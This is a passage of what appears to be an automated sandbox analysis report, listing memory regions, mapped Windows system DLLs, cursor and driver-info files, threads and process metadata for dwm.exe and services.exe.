start_va = 0xd67dd50000 end_va = 0xd67ddd7fff entry_point = 0xd67dd50000 region_type = mapped_file name = "aero_working.ani" filename = "\\Windows\\Cursors\\aero_working.ani" (normalized: "c:\\windows\\cursors\\aero_working.ani") Region: id = 3071 start_va = 0xd67d8c0000 end_va = 0xd67d8c7fff entry_point = 0xd67d8c0000 region_type = mapped_file name = "aero_helpsel.cur" filename = "\\Windows\\Cursors\\aero_helpsel.cur" (normalized: "c:\\windows\\cursors\\aero_helpsel.cur") Region: id = 3072 start_va = 0xd67d8c0000 end_va = 0xd67d8c0fff entry_point = 0x0 region_type = private name = "private_0x000000d67d8c0000" filename = "" Region: id = 3073 start_va = 0x7ffd1c580000 end_va = 0x7ffd1c5d6fff entry_point = 0x7ffd1c580000 region_type = mapped_file name = "winsta.dll" filename = "\\Windows\\System32\\winsta.dll" (normalized: "c:\\windows\\system32\\winsta.dll") Region: id = 3435 start_va = 0x7ffd1bb50000 end_va = 0x7ffd1bb65fff entry_point = 0x7ffd1bb50000 region_type = mapped_file name = "uxinit.dll" filename = "\\Windows\\System32\\UXInit.dll" (normalized: "c:\\windows\\system32\\uxinit.dll") Region: id = 3436 start_va = 0xd67d8c0000 end_va = 0xd67d8c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d67d8c0000" filename = "" Region: id = 3438 start_va = 0x7ffd1b9f0000 end_va = 0x7ffd1bb11fff entry_point = 0x7ffd1b9f0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 3439 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 3440 start_va = 0xd67dd50000 end_va = 0xd67dedffff entry_point = 0x0 region_type = private name = "private_0x000000d67dd50000" filename = "" Region: id = 3441 start_va = 0x7ffd1ce20000 end_va = 0x7ffd1cff6fff entry_point = 0x7ffd1ce210a4 region_type = mapped_file name = "crypt32.dll" filename = "\\Windows\\System32\\crypt32.dll" (normalized: "c:\\windows\\system32\\crypt32.dll") Region: id = 3442 start_va = 0x7ffd1cd50000 end_va = 0x7ffd1cd61fff entry_point = 0x7ffd1cd510f4 region_type = mapped_file name = "msasn1.dll" filename = "\\Windows\\System32\\msasn1.dll" (normalized: "c:\\windows\\system32\\msasn1.dll") Region: id = 3443 start_va = 0x7ffd1b9e0000 end_va = 0x7ffd1b9e8fff entry_point = 0x7ffd1b9e0000 region_type = mapped_file name = "dpapi.dll" filename = "\\Windows\\System32\\dpapi.dll" (normalized: "c:\\windows\\system32\\dpapi.dll") Region: id = 3444 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 3445 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 3448 start_va = 0xd67dd50000 end_va = 0xd67dd8bfff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d67dd50000" filename = "" Region: id = 3449 start_va = 0xd67dd90000 end_va = 0xd67ddcbfff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d67dd90000" filename = "" Region: id = 3450 start_va = 0xd67ded0000 end_va = 0xd67dedffff entry_point = 0x0 region_type = private name = "private_0x000000d67ded0000" filename = "" Region: id = 3451 start_va = 0xd67dd50000 end_va = 0xd67deb8fff entry_point = 0x0 region_type = private name = "private_0x000000d67dd50000" filename = "" Region: id = 3452 start_va = 0xd67e1d0000 end_va = 0xd67e456fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d67e1d0000" filename = "" Region: id = 3453 start_va = 0xd67dee0000 end_va = 0xd67dfcffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d67dee0000" filename = "" Region: id = 3454 start_va = 0xd67d8c0000 end_va = 0xd67d8c3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d67d8c0000" filename = "" Region: id = 3455 start_va = 0xd67e460000 end_va = 0xd67e6e6fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d67e460000" filename = "" Region: id = 3456 start_va = 0xd67dd50000 end_va = 0xd67de3ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d67dd50000" filename = "" Region: id = 3457 start_va = 0xd67d8c0000 end_va = 0xd67d8c3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d67d8c0000" filename = "" Region: id = 3458 start_va = 0xd67e460000 end_va = 0xd67f85ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d67e460000" filename = "" Region: id = 3459 start_va = 0xd67d900000 end_va = 0xd67d917fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d67d900000" filename = "" Region: id = 3460 start_va = 0xd67de40000 end_va = 0xd67de40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d67de40000" filename = "" Region: id = 3461 start_va = 0xd67f860000 end_va = 0xd67fb34fff entry_point = 0xd67f860000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3462 start_va = 0xd67de40000 end_va = 0xd67de40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d67de40000" filename = "" Region: id = 3463 start_va = 0xd67dd50000 end_va = 0xd67ddcffff entry_point = 0x0 region_type = private name = "private_0x000000d67dd50000" filename = "" Region: id = 3464 start_va = 0xd67ddd0000 end_va = 0xd67de4ffff entry_point = 0x0 region_type = private name = "private_0x000000d67ddd0000" filename = "" Region: id = 3465 start_va = 0x7ff78dde6000 end_va = 0x7ff78dde7fff entry_point = 0x0 region_type = private name = "private_0x00007ff78dde6000" filename = "" Region: id = 3466 start_va = 0x7ff78dde8000 end_va = 0x7ff78dde9fff entry_point = 0x0 region_type = private name = "private_0x00007ff78dde8000" filename = "" Region: id = 3467 start_va = 0x7ffd1cae0000 end_va = 0x7ffd1cb0afff entry_point = 0x7ffd1cae1490 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 3468 start_va = 0x7ffd1b950000 end_va = 0x7ffd1b9dafff entry_point = 0x7ffd1b950000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\System32\\apphelp.dll" (normalized: "c:\\windows\\system32\\apphelp.dll") Region: id = 3469 start_va = 0xd67d8c0000 end_va = 0xd67d8c1fff entry_point = 0x0 region_type = private name = "private_0x000000d67d8c0000" filename = "" Region: id = 3470 start_va = 0x7ff7f8670000 end_va = 0x7ff7f868ffff entry_point = 0x7ff7f8670000 region_type = mapped_file name = "dwm.exe" filename = "\\Windows\\System32\\dwm.exe" (normalized: "c:\\windows\\system32\\dwm.exe") Region: id = 3471 start_va = 0xd67de50000 end_va = 0xd67deb3fff entry_point = 0xd67de50000 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\apppatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 3507 start_va = 0xd67de50000 end_va = 0xd67de50fff entry_point = 0x0 region_type = private name = "private_0x000000d67de50000" filename = "" Region: id = 3510 start_va = 0xd67de50000 end_va = 0xd67deb3fff entry_point = 0xd67de50000 region_type = mapped_file name = "sysmain.sdb" filename = "\\Windows\\apppatch\\apppatch64\\sysmain.sdb" (normalized: "c:\\windows\\apppatch\\apppatch64\\sysmain.sdb") Region: id = 4082 start_va = 0xd67dd50000 end_va = 0xd67dd50fff entry_point = 0x0 region_type = private name = "private_0x000000d67dd50000" filename = "" Region: id = 4083 start_va = 0xd67de50000 end_va = 0xd67decffff entry_point = 0x0 region_type = private name = "private_0x000000d67de50000" filename = "" Region: id = 4084 start_va = 0x7ff78dde4000 end_va = 0x7ff78dde5fff entry_point = 0x0 region_type = private name = "private_0x00007ff78dde4000" filename = "" Region: id = 4087 start_va = 0xd67dd50000 end_va = 0xd67dd50fff entry_point = 0x0 region_type = private name = "private_0x000000d67dd50000" filename = "" Region: id = 4088 start_va = 0xd67fb40000 end_va = 0xd67ff39fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d67fb40000" filename = "" Region: id = 4101 start_va = 0xd67dd50000 end_va = 0xd67dd50fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d67dd50000" filename = "" Region: id = 4102 start_va = 0xd67dee0000 end_va = 0xd67dfcffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d67dee0000" filename = "" Region: id = 4248 start_va = 0xd67dee0000 end_va = 0xd67dfdffff entry_point = 0x0 region_type = private name = "private_0x000000d67dee0000" filename = "" Region: id = 4264 start_va = 0xd67dd60000 end_va = 0xd67dd60fff entry_point = 0x0 region_type = private name = "private_0x000000d67dd60000" filename = "" Region: id = 4282 start_va = 0xd67dd70000 end_va = 0xd67dd70fff entry_point = 0x0 region_type = private name = "private_0x000000d67dd70000" filename = "" Region: id = 4283 start_va = 0xd67dfe0000 end_va = 0xd67e05ffff entry_point = 0x0 region_type = private name = "private_0x000000d67dfe0000" filename = "" Region: id = 4284 start_va = 0x7ff78dde8000 end_va = 0x7ff78dde9fff entry_point = 0x0 region_type = private name = "private_0x00007ff78dde8000" filename = "" Region: id = 4285 start_va = 0xd67dd70000 end_va = 0xd67dd70fff entry_point = 0x0 region_type = private name = "private_0x000000d67dd70000" filename = "" Region: id = 4306 start_va = 0xd67dd50000 end_va = 0xd67dd50fff entry_point = 0x0 region_type = private name = "private_0x000000d67dd50000" filename = "" Region: id = 4307 start_va = 0x7ffd195b0000 end_va = 0x7ffd195dffff entry_point = 0x7ffd195b5ca0 region_type = mapped_file name = "ntmarta.dll" filename = "\\Windows\\System32\\ntmarta.dll" (normalized: "c:\\windows\\system32\\ntmarta.dll") Region: id = 4319 start_va = 0xd67dd50000 end_va = 0xd67dd50fff entry_point = 0x0 region_type = private name = "private_0x000000d67dd50000" filename = "" Region: id = 4527 start_va = 0xd67dd50000 end_va = 0xd67dd50fff entry_point = 0x0 region_type = private name = "private_0x000000d67dd50000" filename = "" Region: id = 4540 start_va = 0xd67dd50000 end_va = 0xd67dd50fff entry_point = 0x0 region_type = private name = "private_0x000000d67dd50000" filename = "" Region: id = 4578 start_va = 0xd67dd50000 end_va = 0xd67dd50fff entry_point = 0x0 region_type = private name = "private_0x000000d67dd50000" filename = "" Region: id = 4588 start_va = 0xd67dd50000 end_va = 0xd67dd50fff entry_point = 0x0 region_type = private name = "private_0x000000d67dd50000" filename = "" Region: id = 4590 start_va = 0x7ffd17a30000 end_va = 0x7ffd17a33fff entry_point = 0x7ffd17a30000 region_type = mapped_file name = "kbdus.dll" filename = "\\Windows\\System32\\KBDUS.DLL" (normalized: "c:\\windows\\system32\\kbdus.dll") Region: id = 4593 start_va = 0xd67d7f0000 end_va = 0xd67d7f2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d67d7f0000" filename = "" Region: id = 4594 start_va = 0xd67d800000 end_va = 0xd67d800fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d67d800000" filename = "" Region: id = 4595 start_va = 0xd67d8b0000 end_va = 0xd67d8b4fff entry_point = 0xd67d8b0000 region_type = mapped_file name = "user32.dll.mui" filename = "\\Windows\\System32\\en-US\\user32.dll.mui" (normalized: "c:\\windows\\system32\\en-us\\user32.dll.mui") Region: id = 4596 start_va = 0xd67dd50000 end_va = 0xd67dd57fff entry_point = 0xd67dd50000 region_type = mapped_file name = "aero_arrow.cur" filename = "\\Windows\\Cursors\\aero_arrow.cur" (normalized: "c:\\windows\\cursors\\aero_arrow.cur") Region: id = 4597 start_va = 0xd67dfe0000 end_va = 0xd67e067fff entry_point = 0xd67dfe0000 region_type = mapped_file name = "aero_busy.ani" filename = "\\Windows\\Cursors\\aero_busy.ani" (normalized: "c:\\windows\\cursors\\aero_busy.ani") Region: id = 4598 start_va = 0xd67dd50000 end_va = 0xd67dd57fff entry_point = 0xd67dd50000 region_type = mapped_file name = "aero_up.cur" filename = "\\Windows\\Cursors\\aero_up.cur" (normalized: "c:\\windows\\cursors\\aero_up.cur") Region: id = 4599 start_va = 0xd67dfe0000 end_va = 0xd67e067fff entry_point = 0xd67dfe0000 region_type = mapped_file name = "aero_working.ani" filename = "\\Windows\\Cursors\\aero_working.ani" (normalized: "c:\\windows\\cursors\\aero_working.ani") Region: id = 4600 start_va = 0xd67dd50000 end_va = 0xd67dd57fff entry_point = 0xd67dd50000 region_type = mapped_file name = "aero_helpsel.cur" filename = "\\Windows\\Cursors\\aero_helpsel.cur" (normalized: "c:\\windows\\cursors\\aero_helpsel.cur") Region: id = 4602 start_va = 0xd67dd50000 end_va = 0xd67dd50fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d67dd50000" filename = "" Region: id = 4603 start_va = 0xd67dfe0000 end_va = 0xd67e0cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d67dfe0000" filename = "" Region: id = 4604 start_va = 0xd67dd50000 end_va = 0xd67dd53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d67dd50000" filename = "" Region: id = 4605 start_va = 0xd67dd50000 end_va = 0xd67dd50fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d67dd50000" filename = "" Region: id = 4606 start_va = 0xd67dfe0000 end_va = 0xd67e0cffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d67dfe0000" filename = "" Region: id = 4607 start_va = 0xd67dd50000 end_va = 0xd67dd53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d67dd50000" filename = "" Region: id = 4608 start_va = 0xd67dd70000 end_va = 0xd67dd70fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d67dd70000" filename = "" Region: id = 4609 start_va = 0xd67fb40000 end_va = 0xd67fc2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d67fb40000" filename = "" Region: id = 4610 start_va = 0xd67dd70000 end_va = 0xd67dd73fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d67dd70000" filename = "" Region: id = 4611 start_va = 0xd67dd70000 end_va = 0xd67dd70fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000d67dd70000" filename = "" Region: id = 4623 start_va = 0x7ffd17a20000 end_va = 0x7ffd17a3afff entry_point = 0x7ffd17a20000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 4624 start_va = 0xd67dd50000 end_va = 0xd67dd50fff entry_point = 0x0 region_type = private name = "private_0x000000d67dd50000" filename = "" Region: id = 4649 start_va = 0xd67dd50000 end_va = 0xd67dd50fff entry_point = 0x0 region_type = private name = "private_0x000000d67dd50000" filename = "" Region: id = 4650 start_va = 0xd67dd50000 end_va = 0xd67dd50fff entry_point = 0x0 region_type = private name = "private_0x000000d67dd50000" filename = "" Region: id = 4651 start_va = 0xd67dd50000 end_va = 0xd67dd50fff entry_point = 0x0 region_type = private name = "private_0x000000d67dd50000" filename = "" Region: id = 6085 start_va = 0xd67dd50000 end_va = 0xd67dd50fff entry_point = 0x0 region_type = private name = "private_0x000000d67dd50000" filename = "" Region: id = 7885 start_va = 0xd600000000 end_va = 0xd600000fff entry_point = 0x0 region_type = private name = "private_0x000000d600000000" filename = "" Thread: id = 214 os_tid = 0x1ac Thread: id = 229 os_tid = 0x1f0 Thread: id = 231 os_tid = 0x1f4 Thread: id = 269 os_tid = 0x288 Thread: id = 270 os_tid = 0x28c Thread: id = 276 os_tid = 0x2a8 Thread: id = 351 os_tid = 0x3dc Process: id = "39" image_name = "services.exe" filename = "c:\\windows\\system32\\services.exe" page_root = "0x62e3b000" os_pid = "0x1cc" os_integrity_level = "0x4000" os_privileges = "0xe60b1e890" monitor_reason = "child_process" parent_id = "36" os_parent_pid = "0x184" cmd_line = "C:\\Windows\\system32\\services.exe" cur_dir = "C:\\Windows\\system32\\" os_username = "NT AUTHORITY\\SYSTEM" os_groups = "BUILTIN\\Administrators" [0xe], "Everyone" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7] Region: id = 2911 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 2912 start_va = 0x4c4fbe0000 end_va = 0x4c4fbfffff entry_point = 0x0 region_type = private name = "private_0x0000004c4fbe0000" filename = "" Region: id = 2913 start_va = 0x4c4fc00000 end_va = 0x4c4fc0efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004c4fc00000" filename = "" Region: id = 2914 start_va = 0x4c4fc10000 end_va = 0x4c4fc8ffff entry_point = 0x0 region_type = private name = "private_0x0000004c4fc10000" filename = "" Region: id = 2915 start_va = 0x7ff754630000 end_va = 0x7ff754652fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff754630000" filename = "" Region: id = 2916 start_va = 0x7ff754656000 end_va = 0x7ff754656fff entry_point = 0x0 region_type = private name = "private_0x00007ff754656000" filename = "" Region: id = 2917 start_va = 0x7ff75465e000 end_va = 0x7ff75465ffff entry_point = 0x0 region_type = private name = "private_0x00007ff75465e000" filename = "" Region: id = 2918 start_va = 0x7ff755150000 end_va = 0x7ff7551b4fff entry_point = 0x7ff755150000 region_type = mapped_file name = "services.exe" filename = "\\Windows\\System32\\services.exe" (normalized: "c:\\windows\\system32\\services.exe") Region: id = 2919 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 2921 start_va = 0x4c4fc90000 end_va = 0x4c4fc93fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004c4fc90000" filename = "" Region: id = 2923 start_va = 0x4c4fca0000 end_va = 0x4c4fca0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004c4fca0000" filename = "" Region: id = 2936 start_va = 0x4c4fcd0000 end_va = 0x4c4fdcffff entry_point = 0x0 region_type = private name = "private_0x0000004c4fcd0000" filename = "" Region: id = 2937 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 2938 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 2939 start_va = 0x4c4fbe0000 end_va = 0x4c4fbeffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000004c4fbe0000" filename = "" Region: id = 2940 start_va = 0x7ff754530000 end_va = 0x7ff75462ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff754530000" filename = "" Region: id = 2941 start_va = 0x4c4fdd0000 end_va = 0x4c4fe4dfff entry_point = 0x4c4fdd0000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 2942 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 2943 start_va = 0x7ffd1cae0000 end_va = 0x7ffd1cb0afff entry_point = 0x7ffd1cae0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 2945 start_va = 0x7ffd1cca0000 end_va = 0x7ffd1ccb3fff entry_point = 0x7ffd1cca3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 2946 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 2947 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 2948 start_va = 0x4c4fbf0000 end_va = 0x4c4fbf6fff entry_point = 0x0 region_type = private name = "private_0x0000004c4fbf0000" filename = "" Region: id = 3006 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 3122 start_va = 0x7ffd1c100000 end_va = 0x7ffd1c10ffff entry_point = 0x7ffd1c100000 region_type = mapped_file name = "scext.dll" filename = "\\Windows\\System32\\scext.dll" (normalized: "c:\\windows\\system32\\scext.dll") Region: id = 3144 start_va = 0x7ffd1c0a0000 end_va = 0x7ffd1c0a7fff entry_point = 0x7ffd1c0a0000 region_type = mapped_file name = "dabapi.dll" filename = "\\Windows\\System32\\dabapi.dll" (normalized: "c:\\windows\\system32\\dabapi.dll") Region: id = 3145 start_va = 0x7ffd1c090000 end_va = 0x7ffd1c09afff entry_point = 0x7ffd1c090000 region_type = mapped_file name = "eventaggregation.dll" filename = "\\Windows\\System32\\EventAggregation.dll" (normalized: "c:\\windows\\system32\\eventaggregation.dll") Region: id = 3146 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c060000 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 3147 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 3148 start_va = 0x4c4fe50000 end_va = 0x4c5000ffff entry_point = 0x0 region_type = private name = "private_0x0000004c4fe50000" filename = "" Region: id = 3149 start_va = 0x4c4fcb0000 end_va = 0x4c4fcb6fff entry_point = 0x0 region_type = private name = "private_0x0000004c4fcb0000" filename = "" Region: id = 3152 start_va = 0x7ffd1c040000 end_va = 0x7ffd1c05cfff entry_point = 0x7ffd1c040000 region_type = mapped_file name = "spinf.dll" filename = "\\Windows\\System32\\SPInf.dll" (normalized: "c:\\windows\\system32\\spinf.dll") Region: id = 3153 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc4fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "1394.pnf" filename = "\\Windows\\Inf\\1394.PNF" (normalized: "c:\\windows\\inf\\1394.pnf") Region: id = 3154 start_va = 0x4c50010000 end_va = 0x4c502e4fff entry_point = 0x4c50010000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 3155 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc2fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "acpi.pnf" filename = "\\Windows\\Inf\\acpi.PNF" (normalized: "c:\\windows\\inf\\acpi.pnf") Region: id = 3156 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc1fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "acpipagr.pnf" filename = "\\Windows\\Inf\\acpipagr.PNF" (normalized: "c:\\windows\\inf\\acpipagr.pnf") Region: id = 3157 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc1fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "acpipmi.pnf" filename = "\\Windows\\Inf\\acpipmi.PNF" (normalized: "c:\\windows\\inf\\acpipmi.pnf") Region: id = 3158 start_va = 0x4c4fe50000 end_va = 0x4c4ff2ffff entry_point = 0x4c4fe50000 region_type = mapped_file name = "machine.pnf" filename = "\\Windows\\Inf\\machine.PNF" (normalized: "c:\\windows\\inf\\machine.pnf") Region: id = 3159 start_va = 0x4c50000000 end_va = 0x4c5000ffff entry_point = 0x0 region_type = private name = "private_0x0000004c50000000" filename = "" Region: id = 3160 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc6fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "cpu.pnf" filename = "\\Windows\\Inf\\cpu.PNF" (normalized: "c:\\windows\\inf\\cpu.pnf") Region: id = 3161 start_va = 0x4c4fcc0000 end_va = 0x4c4fccefff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "arcsas.pnf" filename = "\\Windows\\Inf\\arcsas.PNF" (normalized: "c:\\windows\\inf\\arcsas.pnf") Region: id = 3162 start_va = 0x4c4fe50000 end_va = 0x4c4fe60fff entry_point = 0x4c4fe50000 region_type = mapped_file name = "mshdc.pnf" filename = "\\Windows\\Inf\\mshdc.PNF" (normalized: "c:\\windows\\inf\\mshdc.pnf") Region: id = 3163 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc3fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "netbvbda.pnf" filename = "\\Windows\\Inf\\netbvbda.PNF" (normalized: "c:\\windows\\inf\\netbvbda.pnf") Region: id = 3164 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc1fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "bcmfn2.pnf" filename = "\\Windows\\Inf\\bcmfn2.PNF" (normalized: "c:\\windows\\inf\\bcmfn2.pnf") Region: id = 3165 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc2fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "bthaudhid.pnf" filename = "\\Windows\\Inf\\bthaudhid.PNF" (normalized: "c:\\windows\\inf\\bthaudhid.pnf") Region: id = 3166 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc2fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "bthaudhid.pnf" filename = "\\Windows\\Inf\\bthaudhid.PNF" (normalized: "c:\\windows\\inf\\bthaudhid.pnf") Region: id = 3167 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc1fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "bthspp.pnf" filename = "\\Windows\\Inf\\bthspp.PNF" (normalized: "c:\\windows\\inf\\bthspp.pnf") Region: id = 3168 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc3fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "cdrom.pnf" filename = "\\Windows\\Inf\\cdrom.PNF" (normalized: "c:\\windows\\inf\\cdrom.pnf") Region: id = 3169 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc5fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "circlass.pnf" filename = "\\Windows\\Inf\\circlass.PNF" (normalized: "c:\\windows\\inf\\circlass.pnf") Region: id = 3170 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc2fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "cmbatt.pnf" filename = "\\Windows\\Inf\\cmbatt.PNF" (normalized: "c:\\windows\\inf\\cmbatt.pnf") Region: id = 3171 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc1fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "compositebus.pnf" filename = "\\Windows\\Inf\\CompositeBus.PNF" (normalized: "c:\\windows\\inf\\compositebus.pnf") Region: id = 3172 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc4fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "disk.pnf" filename = "\\Windows\\Inf\\disk.PNF" (normalized: "c:\\windows\\inf\\disk.pnf") Region: id = 3173 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc5fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "wdmaudio.pnf" filename = "\\Windows\\Inf\\wdmaudio.PNF" (normalized: "c:\\windows\\inf\\wdmaudio.pnf") Region: id = 3174 start_va = 0x4c4fe50000 end_va = 0x4c4fe6afff entry_point = 0x4c4fe50000 region_type = mapped_file name = "net1ic64.pnf" filename = "\\Windows\\Inf\\net1ic64.PNF" (normalized: "c:\\windows\\inf\\net1ic64.pnf") Region: id = 3175 start_va = 0x4c4fe50000 end_va = 0x4c4fe6dfff entry_point = 0x4c4fe50000 region_type = mapped_file name = "netevbda.pnf" filename = "\\Windows\\Inf\\netevbda.PNF" (normalized: "c:\\windows\\inf\\netevbda.pnf") Region: id = 3176 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc1fff entry_point = 0x4c4fcc0000 region_type = mapped_file name = "ehstortcgdrv.pnf" filename = "\\Windows\\Inf\\ehstortcgdrv.PNF" (normalized: "c:\\windows\\inf\\ehstortcgdrv.pnf") Region: id = 3177 start_va = 0x4c4fcc0000 end_va = 0x4c4fcc2fff entry_point = 0x4c4fcc0000 